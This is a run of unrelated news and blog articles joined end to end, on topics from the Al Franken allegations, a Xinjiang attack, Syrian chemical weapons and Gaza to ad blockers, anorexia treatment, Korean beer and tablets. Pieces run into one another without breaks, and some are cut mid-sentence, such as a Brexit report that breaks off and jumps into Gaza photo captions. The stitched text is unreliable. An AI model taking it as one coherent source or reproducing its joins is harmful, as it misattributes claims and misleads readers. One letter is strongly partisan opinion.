Yes, I could watch the game from up close, as if I were sitting in seats I could never afford, but I couldn’t chat with my wife while doing it, and I couldn’t have watched the game live with friends. The NBA in VR is an all or nothing experience, and while I have high hopes for how quickly the live broadcast might improve, especially as it moves beyond the Galaxy Gear to more powerful hardware, right now the quality of the immersion doesn’t really justify the isolation.Democrats Float Taking Away Trump's Power to Launch Nuclear Weapons
Hannity: Media, Democrats Having 'Day of Reckoning' With Bill Clinton's Multiple Accusers
Broadcaster Leeann Tweeden accused Sen. Al Franken (D-Minn.) of groping her breasts and forcibly kissing her while the two were on a USO Tour in 2006.
Tweeden posted her account of what occurred on the KABC website, where she now works.
Tweeden said she and Franken - a comedian and former "SNL" performer - were performing for U.S. service members in Afghanistan in Dec. 2006 along with country music singers.
She said he performed a comedy routine for the mostly male audience which often included sexually suggestive jokes.
'I Was Blackballed': Former Congressional Staffer Recounts Alleged Sexual Harassment
Tweeden said Franken wrote a skit in which he and Tweeden would kiss and insisted on rehearsing it off-stage.
She wrote:
He continued to insist, and I was beginning to get uncomfortable. He repeated that actors really need to rehearse everything and that we must practice the kiss. I said ‘OK’ so he would stop badgering me. We did the line leading up to the kiss and then he came at me, put his hand on the back of my head, mashed his lips against mine and aggressively stuck his tongue in my mouth. I immediately pushed him away with both of my hands against his chest and told him if he ever did that to me again I wouldn’t be so nice about it the next time. I walked away. All I could think about was getting to a bathroom as fast as possible to rinse the taste of him out of my mouth. I felt disgusted and violated.
On the flight home on a military cargo plane, Tweeden said she fell asleep and Franken groped her breasts over a Kevlar vest in front of military members.
He posed for a photo and smiled as he did it. Tweeden said she later saw the photo in a disc from the tour provided by a photographer.
I couldn’t believe it. He groped me, without my consent, while I was asleep. I felt violated all over again. Embarrassed. Belittled. Humiliated. How dare anyone grab my breasts like this and think it’s funny? I told my husband everything that happened and showed him the picture.
Tweeden said she wanted to go public immediately, but stayed silent due to "potential backlash and damage going public might have on my career as a broadcaster."
"But that was then, this is now. I’m no longer afraid," she wrote.
In response, Franken said in a statement, "I certainly don’t remember the rehearsal for the skit in the same way, but I send my sincerest apologies to Leeann. As to the photo, it was clearly intended to be funny but wasn't. I shouldn't have done it."
Tweeden, a model and sportscaster, said she was inspired to tell the story by another member of Congress, Rep. Jackie Speier (D-Calif.), who appeared recently on KABC's "McIntyre in the Morning" radio show.
"She told us her story of being sexually assaulted when she was a young Congressional aide," Tweeden wrote of Speier.
"She described how a powerful man in the office where she worked 'held her face, kissed her and stuck his tongue in her mouth.' At that moment, I thought to myself, Al Franken did that exact same thing to me."
Franken has been a vocal critic of others accused of sexually inappropriate behavior, praising the #MeToo social media campaign last month by saying "sexual harassment and violence are unacceptable.”
We must address sexual harassment. Reforming arbitration laws will ensure survivors can seek justice in court. https://t.co/Rmuz4gnie7 — Sen. Al Franken (@SenFranken) October 11, 2017
Franken later released a more detailed statement:
The first thing I want to do is apologize: to Leeann, to everyone else who was part of that tour, to everyone who has worked for me, to everyone I represent, and to everyone who counts on me to be an ally and supporter and champion of women. There's more I want to say, but the first and most important thing—and if it's the only thing you care to hear, that's fine—is: I'm sorry. I respect women. I don't respect men who don't. And the fact that my own actions have given people a good reason to doubt that makes me feel ashamed.
Senate Majority Leader Mitch McConnell (R-Ky.) and leading Senate Democrats called for an ethics investigation of Franken over Tweeden's claims.
"As with all credible allegations of sexual harassment or assault, I believe the Ethics Committee should review the matter. I hope the Democratic Leader will join me on this. Regardless of party, harassment and assault are completely unacceptable - in the workplace or anywhere else," McConnell said.
Franken backed the idea on Thursday and said he'd "gladly cooperate." The allegations by Tweeden predate Franken's Senate career. He was elected in 2008 and re-elected in 2014.
The allegations against Franken come amid the continuing controversy surrounding Alabama GOP Senate candidate Roy Moore.
The former judge has been accused of pursuing sexual relationships with several teen girls, one as young as 14, when he was in his early 30s.
Moore has steadfastly denied the allegations and resisted calls from Republican leaders to end his campaign.
On her show last night, Laura Ingraham interviewed a former Capitol Hill staffer who said she was blackballed after she complained about inappropriate behavior by a congressman.
Ingraham also called for an investigation of a little-known Congressional fund that has paid out $15.2 million to sexual harassment victims or accusers over the past few years.
UPDATE, 2:45pm ET: Tweeden spoke out on her allegations in an interview and news conference Thursday and responded to Franken's apology.
In an interview with Fox 11, Tweeden described how Franken insisted they practice a kiss during rehearsal.
"He came at me and before I even knew it, he put his hand on the back of my head and came towards me and mashed my face against my mouth and stuck his tongue in my mouth," Tweeden said. "I sort of pushed him back and I said, 'Don't ever do that to me again. I was so angry and I walked out of there."
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LOOK: NBA Star Kyrie Irving Gives Jersey & Sneakers to Military MembersState-run Chinese media say a terrorist attack on a railway station in western Xinjiang province has killed three people and wounded 79.
Police say the attackers slashed people with knives and set off a bomb apparently between the station exit and a bus stop in the capital of Urumqi.
Chinese President Xi Jinping, who had just ended a four-day visit to Xinjiang Wednesday, immediately pledged "decisive actions." He said there will be no slack in the fight against violence and terrorism.
No one has claimed responsibility for the attack.
Xinjiang is home to China's Muslim Uighur minority. The Uighurs accuse the central government of violent repression while Chinese authorities accuse them of waging a terrorist campaign for separatism.
A stabbing rampage in a railroad station in Yunnan province last month killed 29 people. Authorities blamed that attack on Uighur separatists.
VOA News SubscribeImage copyright Getty Images Image caption Ad blocker apps are facing a head-on collision with the advertising and publishing industries
When Apple said it was going to allow ad blocking on the iPhone version of its web browser last September, it escalated a conflict that had been building in the digital economy for years.
Programs such as Adblock Plus, AdFender and Popup Blocker Pro have long claimed to protect consumers from intrusive web ads that slow down our browsers and hoover up personal data.
Around 200 million people globally are estimated to use such apps.
But for businesses that depend on web advertising, ad blockers could cost an estimated $21.8bn (£15bn) in lost revenue a year.
While some dispute this figure, most in the industry agree that ad blockers threaten publishers' ability to provide content free at the point of use.
Now publishers and advertisers are fighting back; the battle of the blockers is heating up.
Fighting back
Free London-based business newspaper CityA.M. is one of several publishers to have tried blocking visitors to its site if they have an ad blocker switched on.
The firm, which has been working with the anti-ad block start-up Rezonence, says about a quarter of its readers use ad blockers, but that there has been "no perceivable drop in traffic" since it launched the strategy in October 2015.
Image copyright Getty Images Image caption Men's magazine GQ has started charging readers who use ad blockers
"We have had a trickle of complaints, but not many," digital editor Emma Haslett tells the BBC, adding that the firm had extended the strategy - which was initially aimed at Firefox users - to all internet browser types.
Others, like Conde Nast's men's magazine GQ, have tried charging ad blocker-users for access, while US business magazine Forbes is asking users to turn their blockers off in exchange for an "ad-light" experience.
If readers comply, Forbes says, they will be shown no welcome ad, no video ads inserted between paragraphs, and no ads between posts.
Image copyright AdFender Image caption Ad blockers like AdFender, strip out ads from web content, but that reduces publisher income
If they don't, they will be denied access to the site's content.
"Since we started in December, four million desktop visitors, or over 40% of those asked, have either disabled their blockers or whitelisted Forbes.com, gaining access to content and the ad-light experience," says chief product officer Lewis Dvorkin.
Whitelisting means telling an ad blocker or security program to treat a certain website as safe.
'Coding tug of war'
Not everyone is convinced by this approach, however.
Johnny Ryan of anti-blocking start-up PageFair believes ad blocking walls are relatively easy to bypass.
"Often publishers simply update their code, forcing the ad blocking community to get working again. It is a coding tug of war," he says.
Instead, PageFair's technology enables publishers to display "respectful and unobtrusive ads" that do not get filtered out by ad blockers.
Image copyright Getty Images Image caption Samsung has followed Apple's decision to allow ad blockers on its phones
In a variation on the theme, former Mozilla co-founder Brendan Eich has launched a browser called Brave, which replaces the targeted ads on websites with "clean" ones that do not record user data or slow down browser speeds.
It claims it will be able to pay publishers a higher proportion of ad revenues generated by cutting out middlemen. And it plans to roll out a system that lets web users make micropayments to publishers they like, in exchange for an ad-free experience.
Privacy app Ghostery is also adopting a more nuanced approach. It shows consumers which ad-serving technologies a website has switched on, and then offers the choice to block or whitelist those services.
Going native
According to the Association of Online Publishers, companies also need to display ads that don't annoy consumers in the first place.
This is why mobile video is proving so popular as an ad format - it's entertaining if done well and therefore more acceptable to consumers. Mobile video will account for 87% of global advertising spend by 2018, according to ZenithOptimedia.
Sponsored articles and videos - so-called native advertising - could be another solution, say some, being less obtrusive than traditional pop-up and banner ads and harder for ad blockers to detect.
Image copyright Thinkstock Image caption Intrusive pop-up ads can make web surfing a frustrating experience, particularly on mobile
How much of a threat this poses to independent journalism is another debate, however.
While offering more appetising advertising is vital, ensuring it does not affect the functioning of a website is equally important.
The problem, says Tej Rekhi of ad management company Sizmek, is that too many sites are "over-tagged" because of their ads and that this slows down page-loading speeds.
"Publishers need to make use of the technology that exists to unify tags in one place, allowing for faster load times and better results," he says.
Innovations such as Facebook's Instant Articles - which lets users load articles on mobiles 10 times faster than the traditional mobile web - point to a way forward.
'House in order'
But is all this concern about ad-blockers overhyped?
App market analytics firm firm App Annie tells the BBC that - despite an initial surge of interest after Apple's announcement - the most popular ad blocking programs have all dropped out of the App Store's top 100 most downloaded apps and now rank much lower.
Image copyright Thinkstock Image caption Firms like PageFair believe ad block users and publishers don't have to be at loggerheads
And Stuart Miles, editor of tech news site Pocket-lint, says: "The media likes to stir things up when it comes to ad blocking. But in reality, the majority of people aren't bothered because they have to install something, and they never get round to it."
That said, Andrew Frank, digital marketing expert at technology research firm Gartner, believes ad blocking is growing quickly and its effects could be severe "for an industry that already faces challenges".
Facebook warned investors in January that ad blockers could "adversely affect" future profits.
Ciaran O'Kane, founder of ad tech research company ExchangeWire, doubts we'll see affected companies "die on the vine", but says they will have to adapt.
"Media companies have certainly sacrificed some of the user experience online for the sake of extra revenue.
"So I think this is a great opportunity for the ad industry to finally get its house in order."
Follow Technology of Business editor @matthew_wall on Twitter.Under normal conditions, immune cells mature along a rigidly circumscribed path. Myeloid progenitor cells in the bone marrow can become monocytes (white blood cells that engulf pathogens), or they can differentiate down a parallel path to become granulocytes (white blood cells that create pus). Once they commit to one or the other path, they don't seem to be able to switch fates.
But work recently reported in Nature Immunology suggests that cancerous cells can re-engineer these immune cells, causing them to do just that. And they are induced to do so by the misregulation of one of the most well-studied oncogenes there is: the retinoblastoma (Rb) gene.
The immune system is normally capable of responding to cancer. But immature myeloid cells that tone down the immune response accumulate in the presence of tumors. These suppressor cells can be either monocyte-like or granulocyte-like, and it had been thought that they come from cells that are already committed to one of the two paths.
The researchers took both cell types out of mice with cancer and grew them in a culture mimicking the cancer context. They found that the monocyte-like cells grew much faster and survived much better than the granulocyte-like cells—yet somehow, the cultures were consistently enriched in the granulocyte-like suppressive cells. The researchers conclude that the pool of granulocyte-like cells “may be replenished from” the better-growing monocyte-like cells.
The same was true in mice: when the monocyte-like cells from mice with cancer were transferred into normal mice, they remained true to their fates. When they were transferred into new mice with cancer, they turned into granulocyte-like cells.
How does cancer manage to get these cells to switch fates? The researchers looked at the retinoblastoma protein (pRb), a known tumor suppressor (mutations that disable or diminish pRb yield uncontrolled cell growth, and thus cancer). The researchers found that in both mice and humans with cancer, the monocyte-like suppressor cells—the ones that switch fates—have low levels of pRb.
To demonstrate that pRb regulates this aberrant change of fate, the researchers showed that mice that lack pRb have excessive numbers of the granulocyte-like suppressor cells. When pRb is inserted into the monocyte-like cells in mice with tumors (which normally have low levels of the protein), the proportion of granulocyte-like cells is decreased.
What's not understood yet is how cancer cells cause the difference in pRb levels. Clearly, it's advantageous for them to do so, since it tones down the immune response. But there has to be some sort of signaling network that allows them to do so. Identifying it could ultimately allow it to be blocked, which may rev up the immune response to cancer.
Nature Immunology, 2013. DOI: 10.1038/ni.2526 (About DOIs).The first batch of Syrian chemical weapons has left the Syrian port of Latakia on a Danish ship "for international waters", the Organization for the Prohibition of Chemical Weapons said in a statement.
"The vessel has been accompanied by naval escorts provided by Denmark and Norway, as well as the Syrian Arab Republic," the statement reads. "It will remain at sea awaiting the arrival of additional priority chemical materials at the port."
Though the international watchdog referred to the removed arms as "priority chemical materials", which came from "two sites", it did not elaborate how much of it was loaded onto the Danish commercial vessel.
Among the full arsenal of weapons to be transported will be some 20 tons of mustard nerve agent. It is intended that the weapons be destroyed abroad away from the war zone.
An OPCW statement published on November 15 outlined the plan for the destruction of the chemicals. After the “most critical” chemicals are removed, all other chemical substances – excluding isopropanol (a key ingredient in the production of sarin) – will be taken out of the country by February 5. The “sequenced destruction,” runs according to a “risk-based criterion.”
The initial deadline for taking the first chemical consignment out of Syria was set for December 31, meaning Norwegian and Danish ships were forced to return to port in Cyprus a week ago. The reasons cited for the delay were “war, bad weather and bureaucracy,” according to an OPCW official.
The passage of the chemicals through international waters is being safeguarded through the provision of ‘naval escorts’ from Russia, Denmark, Norway and China.
Syria agreed to the destruction of its chemical weapons by June through a deal brokered by Russia, which defused Washington’s intention to use military force against Syria. The deal followed a sarin gas attack on August 21 that western nations accused President Bashar Assad of orchestrating. Syria says that rebels were responsible for the use of chemical agents.
A US vessel, the cargo ship MV Cape Ray is prepared to set sail for the coast of Italy, where it will receive the load to destroy in international waters. The actual work could probably take 45 days under ideal conditions, but the mission is now expected to last about 90 days because of bad weather.
Russia, as well as providing an escort warship, Pyotr Veliky, has sent 75 armored trucks to Syria and allocated $2 million in funds and other equipment to be used for the chemical weapons elimination process, Russian Defense Minister Sergey Shoigu said on December 23.
The Syrian government is shouldering the responsibility of ensuring that chemical weapons are safely packaged and delivered to the port – including their passage through areas in which rebels remain active.The truth is out there, as Fox Mulder said on "The X-Files" — and the CIA invites you to read a little piece of it. But just enough to leave Mulder intrigued and his perennially skeptical partner Dana Sculley exasperated.
Likely to celebrate the long-awaited new season of the show, the CIA highlighted a few items from its recently declassified collection of UFO-related documents that it thought "both skeptics and believers will find interesting." The docs for believers range from translations of foreign UFO-related articles to memos admitting there were a few the CIA couldn't explain.
Related: Stephen Hawking, Yuri Milner Back $100M Search for Alien Life
On the skeptical side, however, panels of experts shake their heads at the amateurish quality of investigations and suggest a nationwide debunking campaign to clear the air. "Psychologists familiar with mass psychology should advise on the nature and extent of the program," read one memo — something Mulder would find suspicious.
Overall, the documents, which date from the 1940s to the 1990s, show a fairly earnest effort to explain UFOs, which if they existed would be of as much interest to the CIA as to anyone else.
Related: Have Scientists Discovered An Alien Civilization? Not So Fast
"It was interesting to note that none of the members of the Panel were loath to accept that this earth might be visited by any extraterrestrial intelligent beings of some sort, some day," read the summary of one UFO advisory panel. "What they did not find was any evidence that related the objects sighted to space travelers."Just one session of a non-invasive brain stimulation technique can reduce core symptoms of anorexia, including the urge to restrict food intake and feeling fat, scientists say.
Researchers carried out the first randomised control trial to assess whether repetitive transcranial stimulation (rTMS), already an approved treatment for depression, is also effective in reducing symptoms of anorexia.
Up to 20% of people with anorexia die prematurely from the disorder and treatments in adults are moderately effective, with only 20-30% of people recovering from the best available talking therapies, researchers said.
"With rTMS we targeted the dorsolateral prefrontal cortex, an area of the brain thought to be involved in some of the self-regulation difficulties associated with anorexia," said Jessica McClelland from King's College London.
"This technique alters neural activity by delivering magnetic pulses to specific regions of the brain, which feels like a gentle tapping sensation on the side of the head," McClelland said.
Researchers found that one session of rTMS reduced the urge to restrict food intake, levels of feeling full and levels of feeling fat, as well as encouraging more prudent decision-making.
"Taken together, these findings suggest that brain stimulation may reduce symptoms of anorexia by improving cognitive control over compulsive features of the disorder," said McClelland.
For the study, 49 people completed food exposure and decision-making tasks, both before and after a session of either real or placebo rTMS.
Symptoms of anorexia were measured immediately prior to and following rTMS, as well as 20 minutes and 24 hours after the session.
The food exposure task sought to provoke anorexia symptoms by asking participants to watch a two-minute film of people eating appetising food, such as chocolate and crisps, while the same items were in front of them.
\They then had to rate the perceived smell, taste, appearance and urge to eat these foods.
For the decision-making task participants had to choose between a smaller, variable amount of money (0-100 Pounds) available immediately and a larger, fixed amount (100 Pounds) available after four different time points (a week, month, year or two years).
Compared to the placebo group, researchers found that participants who had real rTMS showed a tendency for more prudent decision-making - that is, they waited for larger, later rewards (delayed gratification), rather than choosing the more impulsive smaller, sooner option.
"Our preliminary findings support the potential of novel brain-directed treatments for anorexia, which are desperately needed," said Ulrike Schmidt from King's College.
The findings were published in the journal PLOS ONE.Bilal Ahmad
Learning as much as you can about your clients’ goals, expectations and resources will help make you a better graphic designer. Understanding your clients means you can craft designs they’ll love, thereby adding stock to your reputation via their word-of-mouth testimonials. To better understand your clients so you can be a better designer, always ask the following 10 questions.
1. What Is Your Business Focus? – La Distributice Identity by Gabriel LaFevbre
Does your client sell coffee and snacks on the corner, or do they manage mergers with international conglomerates? It’s important to get a grasp on what your client does and understand exactly how their business works.
2. What Are Your Marketing Goals? – Premium Lighting by Organ Studio
Does your client want to expand their business to include new franchises and spur nationwide growth, or do they want to simply be the best at what they do in one city?
3. Who Are Your Main Competitors? – ‘Wich by Ken Lo
In the restaurant business, a client could be competing with every other restaurant in town, while other clients in different avenues could have only one or two competitors. Look at their competitors and see how they market themselves with design.
4. What Makes You Stand Out? – Evobike by Peter Olnar
Your client should know exactly how their product or service differs from their competitors. Focus on the benefits of your client’s unique selling points.
5. Who Is Your Target Demographic? – Natural Salads by Jose Ignacio Alvarez
Who is the client trying to reach? Vegetarian women with children? Single men in their 30s who own canoes? Know your client’s audience so you can design for their needs.
6. What Colors Do You Like or Not Like? – Daffodil Cottage Café by Thomas Butler
You may think a color is perfect for a client, but if they don’t like the color, they’re not going to like the design. Ask up front if there’s a color preference before you start working.
7. What Is Your Design Budget? – Vanessa Gate by Jonathan Finch
You may have grandiose ideas for your client, but you need to make sure they have the budget for die cuts, elaborate folders and exotic paper. Stay within the budget and everyone will be happy in the end.
8. Are There Design Examples You Like? – Flower Garden by Milena Wlodarczyk
If your client likes minimalist packaging, for example, then be sure to take that in mind before you start putting together samples.
9. What Is Your Mission Statement? – CEU Institute by Akos Polgardi
Most business-minded clients will have a mission statement. It’s important for your design to reflect that mission as much as possible – and not work against it.
10. Where Will You Be Advertising? – Happy Molar by Shahrokh Moeini
Will your client be working mostly in print or will they be doing television and Internet, too? Some designs do well on the page but not in other types of media. Be sure your designs can easily transfer to other media.
Author’s Bio: Brian Morris writes for the PsPrint Design & Printing Blog. PsPrint is an online commercial printing company. Follow PsPrint on Twitter @PsPrint.Travis Scott’s.wav radio show with OG Chase B debuted on Apple Music’s Beats 1 airwaves on Friday afternoon (Aug. 12). Along with an appearance by special guest Seth Rogen, La Flame decided to drop new music in anticipation of his forthcoming Birds in the Trap Sing McKnight LP.
Getting right to the premieres, Scott dropped a song titled “The Hooch” produced by Vinylz, Boi-1da and Allen Ritter. Later during the show, the rapper/producer blasted off his remix of Usher’s current single “No Limit.”
Listen to both below. UPDATE: Travis announces Birds in the Trap Sing McKnight will drop on Aug. 26.
Continue after the jump….
New Music: Travis Scott – “The Hooch” (prod. by Vinylz, co-prod. by Boi-1da & Allen Ritter) (Radio Rip)
New Music: Travis Scott – “No Limit (Remix)” (Radio Rip)
AUGUST 26 2016
BITTSM
SEE U THEN — TRAVIS SCOTT (@trvisXX) August 12, 2016
I want y'all to take this album in as whole I'm so anti singles. U will love me for this. Trust in the flame — TRAVIS SCOTT (@trvisXX) August 12, 2016
Previously:
Travis Scott Announces ‘.wav’ Beats 1 Radio Show
Travis Scott Announces Birds Album Release Date; Debuts New Song In NYC
Travis Scott Feat. Young Thug & Quavo – “Pick Up The Phone”Considering how much Brexit has been talked about in Northern Ireland of late, it may seem surprising that in the villages of Belcoo and Blacklion, on either side of the border, the first casualty is on southern territory.
Twelve months after the Guardian visited this part of the Fermanagh/Cavan frontier during fierce campaigning in the run-up to the EU referendum, the clearest impact of the Brexit effect can be seen in the boarded-up post office just inside the Irish Republic. Staff at the Market House, Blacklion’s pristine tourist centre, point out that the owner of the An Post shop could not keep competing with the Spar store in Belcoo, just a minute’s stroll north across the bridge between Irish and UK territory.
Shoppers in the south are now buying staple goods in Belcoo because of the pound-euro exchange rate fluctuations that have made prices in Northern Ireland far cheaper than in Blacklion in the Republic.
Facebook Twitter Pinterest Tom Elliott, the Ulster Unionist candidate for Fermanagh and South Tyrone, canvassing in Enniskillen. Photograph: Paul Faith/AFP/Getty Images
“Four pints of milk in Belcoo costs only €2.28, while for two litres [three and a half pints] in Blacklion it now costs €2.40. People go to where the bargains are and at present they are in the north. No wonder businesses over here can’t compete,” says one member of Market House staff..
Whatever the practical impact, though, some say that local politics has yet to catch up with the Brexit vote, even as election day looms. In Fermanagh and South Tyrone, the parliamentary border constituency that includes Belcoo, the sitting Ulster Unionist MP until parliament was dissolved insists that it hasn’t been a big issue – even though most people here voted to remain.
Twelve miles from Belcoo in Enniskillen, County Fermanagh, Tom Elliott says he is not pressed on the doorstep about what the leave vote will mean. Voters are “more concerned about potholes on local roads than Brexit”, he adds.
Elliott is canvassing in the lower-middle-class Chanterhill area, where a father and son building a new fence around the front garden of a semi-detached house agree with him. David Higgins, who comes from the border village of Maguiresbridge, says he is more worried about “the waste of money up at Stormont” (the currently deadlocked Northern Ireland assembly) than he is about Brexit.
The Guardian view on Northern Ireland’s election: Not just border country | Editorial Read more
His son Aaron interjects – but not to bring up the EU. “I think one of the most important issues in this election is the struggle for gay marriage equality,” he says. He is referring to the blocking of legal gay marriage in Northern Ireland by most (but not all) unionist politicians.
After some indecision, Elliott eventually supported Brexit. Still, he has his own concerns about the aftermath. He is firmly opposed to the prospect |
a car as he searches the rubble of his destroyed apartment for belongings following an Israeli air strike in the center of Gaza City 111/124 Southern Gaza Strip Smoke rises as flames spread across buildings after Israeli strikes in the Shijaiyah neighborhood in Gaza City 112/124 Northern city of Nazareth Israeli riot police arrest an Arab Israeli man during clashes that followed a protest against Israel's military offensive on the Gaza Strip, in the northern city of Nazareth 113/124 Northern city of Nazareth Israeli riot police keep watch during clashes that followed a protest against Israel's military offensive on the Gaza Strip, in the northern city of Nazareth 114/124 Southern Gaza Strip Palestinians inspect a destroyed house after an Israeli air strike in the Gaza City 115/124 Southern Gaza Strip Palestinian medics tend to a boy who they said was wounded in an Israeli shelling, at a hospital, in Rafah in the southern Gaza Strip 116/124 Southern Gaza Strip Palestinian medics from Gaza City's al-Shifa hospital react while body bags with the remain of ten children arrive after an Israeli air strike in Gaza City 117/124 Sderot, Israel Israeli soldiers stand near their tank while smoke due to airstrikes and shelling rises from Gaza near Sderot 118/124 Israel-Gaza border Israeli soldiers of the 155mm artillery cannons unit fire towards the Gaza Strip from their position near Israel's border with the coastal Palestinian enclave 119/124 Israel-Gaza border An Israeli tank manoeuvres outside the northern Gaza Strip 120/124 Israel-Gaza border Israeli cannon fires artillery shells from an artillery unit near the Israeli border with Gaza 121/124 Holon, near Tel Aviv The parents of 32-year-old Israeli army captain Tzafrir Bar-Or, a commander of the Golani Brigade killed the previous day fighting a group of Palestinian militants in the Gaza Strip, mourn over his coffin during his funeral in the central town of Holon, near Tel Aviv 122/124 Holon, near Tel Aviv An Israeli female soldier mourns during the funeral of 32-year-old Israeli army captain Tzafrir Bar-Or, a commander of the Golani Brigade killed the previous day fighting a group of Palestinian militants in the Gaza Strip, in the central town of Holon, near Tel Aviv 123/124 Holon, near Tel Aviv Family members of Major Tsafrir Bar-Or mourn and cry during his funeral in Holon. Major Tsafrir was killed during the operation 'Protective Edge' 124/124 Israel An Israeli soldier inspects an Israeli home allegedly hit by a Hamas rocket in Sderot
I was in Israel last year with Mary [a mutual friend]. Her sister works for UNRWA [the UN agency for Palestinian refugees] in Jerusalem. Showing us round were a Palestinian – Shadi, who is her sister’s husband and a professional guide – and Oren Jacobovitch, an Israeli Jew, an ex-major from the IDF [Israel Defence Forces] who left the service under a cloud for refusing to beat up Palestinians. Between the two of them we got to see some harrowing things – Palestinian houses hemmed in by wire mesh and boards to prevent settlers throwing shit and piss and used sanitary towels at the inhabitants; Palestinian kids on their way to school being beaten by Israeli kids with baseball bats to parental applause and laughter; a whole village evicted and living in caves while three settler families moved on to their land; an Israeli settlement on top of a hill diverting its sewage directly down on to Palestinian farmland below; The Wall; the checkpoints… and all the endless daily humiliations. I kept thinking, “Do Americans really condone this? Do they really think this is OK? Or do they just not know about it?”
As for the Peace Process: Israel wants the Process but not the Peace. While “the process” is going on, the settlers continue grabbing land and building their settlements… and then when the Palestinians finally erupt with their pathetic fireworks they get hammered and shredded with state-of-the-art missiles and depleted uranium shells because Israel “has a right to defend itself” (whereas Palestine clearly doesn’t). And the settler militias are always happy to lend a fist or rip up someone’s olive grove while the army looks the other way. By the way, most of them are not ethnic Israelis – they’re “right of return” Jews from Russia and Ukraine and Moravia and South Africa and Brooklyn who came to Israel recently with the notion that they had an inviolable (God-given!) right to the land, and that “Arab” equates with “vermin” – straightforward old-school racism. That is the culture our taxes are defending. It’s like sending money to the Klan.
Video: The latest from Gaza
But beyond this, what really troubles me is the bigger picture. Like it or not, in the eyes of most of the world, America represents “The West”. So it is The West that is seen as supporting this war, despite all our high-handed talk about morality and democracy. I fear that all the civilisational achievements of The Enlightenment and Western Culture are being discredited – to the great glee of the mad Mullahs – by this flagrant hypocrisy. The war has no moral justification that I can see – but it doesn’t even have any pragmatic value either. It doesn’t make Kissingerian “Realpolitik” sense; it just makes us look bad.
I’m sorry to burden you all with this. I know you’re busy and in varying degrees allergic to politics, but this is beyond politics. It’s us squandering the civilisational capital that we’ve built over generations. None of the questions in this letter are rhetorical: I really don’t get it and I wish that I did.
XXB
We’ll tell you what’s true. You can form your own view.
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In August 2014, Goalkeeper Tally Hall, then with the Houston Dynamo, tore his ACL in a game against Sporting Kansas City. It was a tragic ending to a difficult season, as the Dynamo stumbled to an 8-12-4 record after reaching the MLS Cup Final in 2011 and the Eastern Conference Final in the two previous years.
The injury promised to keep Hall out for 6 to 9 months - but Orlando City traded for the MLS All-Star without any hesitation.
Nine months have passed, and Hall appears to be nearing his return.
“I feel very comfortable in practice. I feel like I can explode going both ways… my movement isn’t hindered at all,” explained Hall on Wednesday. “My job is to work hard and try to be the best goalkeeper on this team. When coach deems that to be the case, then I’ll be playing.”
Coach Adrian Heath hasn’t offered a return date, but did say, “In the next week – 10 days we feel as though we need to get him a game.”
Should Hall’s return fall in that timeframe, it will be trial by fire on his reconstructed right knee. In the span of five days, the Lions will host last year’s MLS Cup champion following a trip to Washington, DC.
The potential change in goal isn’t to be blamed on Donovan Ricketts, who has performed valiantly in his teammate’s absence. Ricketts has led the Lions through a tough start to the club’s inaugural campaign, posting a 2-4-2 record, including a shutout of his former club in a 2-0 win in Portland.
“For me, it’s been an opportunity to refocus, reenergize, get a different mindset on how I approach the game… I think what I’m doing now is going to prepare me to be a better goalkeeper than what I was doing a year ago,” said Hall.
Tally Hall Highlights Watch
Lions fans all hope he can recapture his form from his days with the Dynamo. In 2011 and again in 2013, Hall was named an MLS All-Star after starting all 34 regular season games in both years. In 2012, Hall started all six playoff games and all but one regular season game.
Recapturing his form would be a welcome achievement, but Hall understands that this season is about more than that for himself and Orlando City.
“When I got here the team’s motto was ‘Defy Expectations’. I thought it was perfect, it felt like the right spot for me so I get a bit of a grin when I hear that because I’ve been living by that for a long time.”It’s already been a year since Daniel Tudor’s column in The Economist about the sad state of South Korean beer, even when compared to North Korean beer. It wasn’t the beer itself he bemoaned but the lack of choice. Only three major brands with little variation. They all taste the same unless you’ve been drinking them a long time.
At first, the big chaebol brewers scoffed at the article. They said they were giving Koreans what they wanted. But the Korean public didn’t do the knee-jerk wagon circle this time. They supported Tudor’s article and demanded better domestic beer.
As of a couple weeks ago, HiteJinro has come out with their answer: Queen’s Ale.
I spotted it at my local E-Mart during the Chuseok vacation. There were only a few cans there, so I grabbed them. I’ll note right away that they were priced around the same as imports–between W1,000 and W3,500 a can.
Two flavors–Blonde and Extra Bitter. I did Extra Bitter first.
Some serious color there. Took a sip, and it tastes like a bitter English ale. It may not compete with the best, but it is a serious warp jump ahead of what HiteJinro has produced in the past. This isn’t a beer you toss a shot of cheap soju into to make it palatable. It has a rich nose with the bitter elements I expect in an English ale.
The Blonde also did not disappoint. It was the cheaper of the two, but it didn’t skimp on flavor. Despite its light color, it had some sturdiness. I’d say that the Blonde is a beer to drink with food, especially Korean food. The Extra Bitter is an ale to sip while staring at the glass philosophizing.
The only complaint I have is the price. I noticed that they took great pains in hiding the HiteJinro name. They want consumers to think it’s an import. I don’t know if it’s just branding or they’re doing something a little underhanded. They don’t have to deal with the heavy import taxes levied on alcoholic beverages, so the price should reflect that. Nonetheless, we now have some more choices at the supermarket, and it can only get better.
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Like this: Like Loading...I own and use more gadgets than just about everyone. I can confidently state that I use those gadgets more heavily than most users. It's not uncommon to see me with one tablet or another in my hands.
See also:
My current preferred tablets are the latest iPad and the Nexus 7. While I have owned and used various Android tablets, the Nexus 7 with Jelly Bean is the best of the lot by a wide margin. The small size makes it perfect for extended sessions, and better than the iPad in that regard.
As good as the Nexus 7 is for most things, every time I pick the iPad up I am struck by how much better the user experience is compared to that of the Nexus 7.
The operation of the iPad is more consistent, fluid, and more pleasing than that of the Nexus 7. Even with the much improved Project Butter enhancements in Jelly Bean, the iPad is more pleasant to use.
A big part of the consistent user experience of the iPad is due to the apps. Whether you like the closed system of iOS or not, the apps work more consistenly no matter the function. When you fire up an iPad app you know where all the controls will be as they are intuitively placed.
Apps on the iPad work as expected and with a pleasant interface. That's across the board, and why using the iPad is so pleasing compared to using the Nexus 7.
I am on record for using both the iPad and Android tablets to get real work done, and I also use them for the typical leisure activities tablets are famous for. The better user experience applies equally to the iPad for all uses.
While certain activities are better suited for the smaller Nexus 7, such as ebook reading, the Kindle iPad app is better than that on Android. The simple function of sorting a big ebook library by most recent activity, the preferred method, is strangely absent from the Nexus 7. Finding my most recent purchases is a nightmare on the Nexus 7 while easy (and instantaneous) on the iPad.
UPDATE: Lo and behold the latest update for the Kindle app on the Nexus 7 has finally added sort by recent activity.
Jelly Bean on the Nexus 7 has gone a long way to address the laggy, jerky operation of other Android tablets that has in the past driven me nuts. Scrolling in windows is not completely fluid, but it's much better than scrolling on other Android tablets.
It's good, but not good enough compared to the iPad. I can use the Nexus 7 heavily and have no complaints. Then I pick up the iPad and realize immediately how much more fluid and pleasant to use it is compared to the Nexus 7.
